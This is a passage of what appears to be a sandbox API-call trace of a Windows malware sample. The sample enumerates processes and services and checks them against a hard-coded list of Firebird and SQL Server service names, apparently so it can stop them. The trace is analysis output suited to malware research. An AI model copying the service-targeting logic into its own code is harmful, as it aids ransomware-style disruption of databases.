th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0035.279] lstrlenW (lpString="career-fed.exe") returned 14 [0035.279] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0035.279] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0035.279] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0035.280] lstrlenW (lpString="initial_utilization.exe") returned 23 [0035.280] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0035.280] lstrlenW (lpString="cf-represent.exe") returned 16 [0035.280] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0035.281] lstrlenW (lpString="tue.exe") returned 7 [0035.281] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0035.282] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0035.282] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0035.282] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0035.282] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0035.283] lstrlenW (lpString="stuff_event.exe") returned 15 [0035.283] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0035.283] lstrlenW (lpString="keywords-copies.exe") returned 19 [0035.283] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0035.284] lstrlenW (lpString="lap.exe") returned 7 [0035.284] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0035.285] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0035.285] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.285] lstrlenW (lpString="dllhost.exe") returned 11 [0035.285] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.286] lstrlenW (lpString="dllhost.exe") returned 11 [0035.286] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0035.286] lstrlenW (lpString="chrome64b.exe") returned 13 [0035.287] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0035.287] lstrlenW (lpString="cmd.exe") returned 7 [0035.287] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0035.288] lstrlenW (lpString="conhost.exe") returned 11 [0035.288] Process32NextW (in: hSnapshot=0x1d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0035.289] CloseHandle (hObject=0x1d8) returned 1 [0035.289] Sleep (dwMilliseconds=0x1f4) [0036.332] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fb10 [0036.332] EnumServicesStatusExW (in: hSCManager=0x66fb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0036.333] GetLastError () returned 0xea [0036.333] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x3f93e20 [0036.333] EnumServicesStatusExW (in: hSCManager=0x66fb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f93e20, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f93e20, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0036.333] CloseServiceHandle (hSCObject=0x66fb10) returned 1 [0036.333] lstrlenW (lpString="Appinfo") returned 7 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.334] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.334] lstrlenW (lpString="AudioSrv") returned 8 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.334] lstrlenW (lpString="BFE") returned 3 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.334] lstrlenW (lpString="CryptSvc") returned 8 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.334] lstrlenW (lpString="CscService") returned 10 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.335] lstrlenW (lpString="DcomLaunch") returned 10 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.335] lstrlenW (lpString="Dhcp") returned 4 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.335] lstrlenW (lpString="Dnscache") returned 8 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.335] lstrlenW (lpString="DPS") returned 3 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.335] lstrlenW (lpString="eventlog") returned 8 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.336] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.336] lstrlenW (lpString="EventSystem") returned 11 [0036.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.336] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.336] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.336] lstrlenW (lpString="gpsvc") returned 5 [0036.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.336] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.336] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.336] lstrlenW (lpString="iphlpsvc") returned 8 [0036.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.336] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.336] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.336] lstrlenW (lpString="LanmanServer") returned 12 [0036.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.336] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.336] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.336] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.337] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.337] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.337] lstrlenW (lpString="lmhosts") returned 7 [0036.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.337] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.337] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.337] lstrlenW (lpString="MMCSS") returned 5 [0036.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.337] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.337] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.337] lstrlenW (lpString="MpsSvc") returned 6 [0036.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.337] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.337] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.337] lstrlenW (lpString="Netman") returned 6 [0036.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.338] lstrlenW (lpString="netprofm") returned 8 [0036.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.338] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.338] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.338] lstrlenW (lpString="NlaSvc") returned 6 [0036.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.338] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.338] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.338] lstrlenW (lpString="nsi") returned 3 [0036.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.338] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.338] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.338] lstrlenW (lpString="PcaSvc") returned 6 [0036.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.338] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.338] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.338] lstrlenW (lpString="PlugPlay") returned 8 [0036.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.339] lstrlenW (lpString="Power") returned 5 [0036.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.339] lstrlenW (lpString="ProfSvc") returned 7 [0036.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.339] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.339] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.339] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.339] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.339] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.339] lstrlenW (lpString="RpcSs") returned 5 [0036.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.339] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.339] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.340] lstrlenW (lpString="SamSs") returned 5 [0036.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.340] lstrlenW (lpString="Schedule") returned 8 [0036.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.340] lstrlenW (lpString="SENS") returned 4 [0036.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.340] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.340] lstrlenW (lpString="Spooler") returned 7 [0036.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.341] lstrlenW (lpString="SysMain") returned 7 [0036.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.341] lstrlenW (lpString="Themes") returned 6 [0036.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.341] lstrlenW (lpString="TrkWks") returned 6 [0036.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.341] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.341] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.341] lstrlenW (lpString="UxSms") returned 5 [0036.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.341] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.341] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.341] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.342] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.342] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.342] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.342] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.342] lstrcmpiW 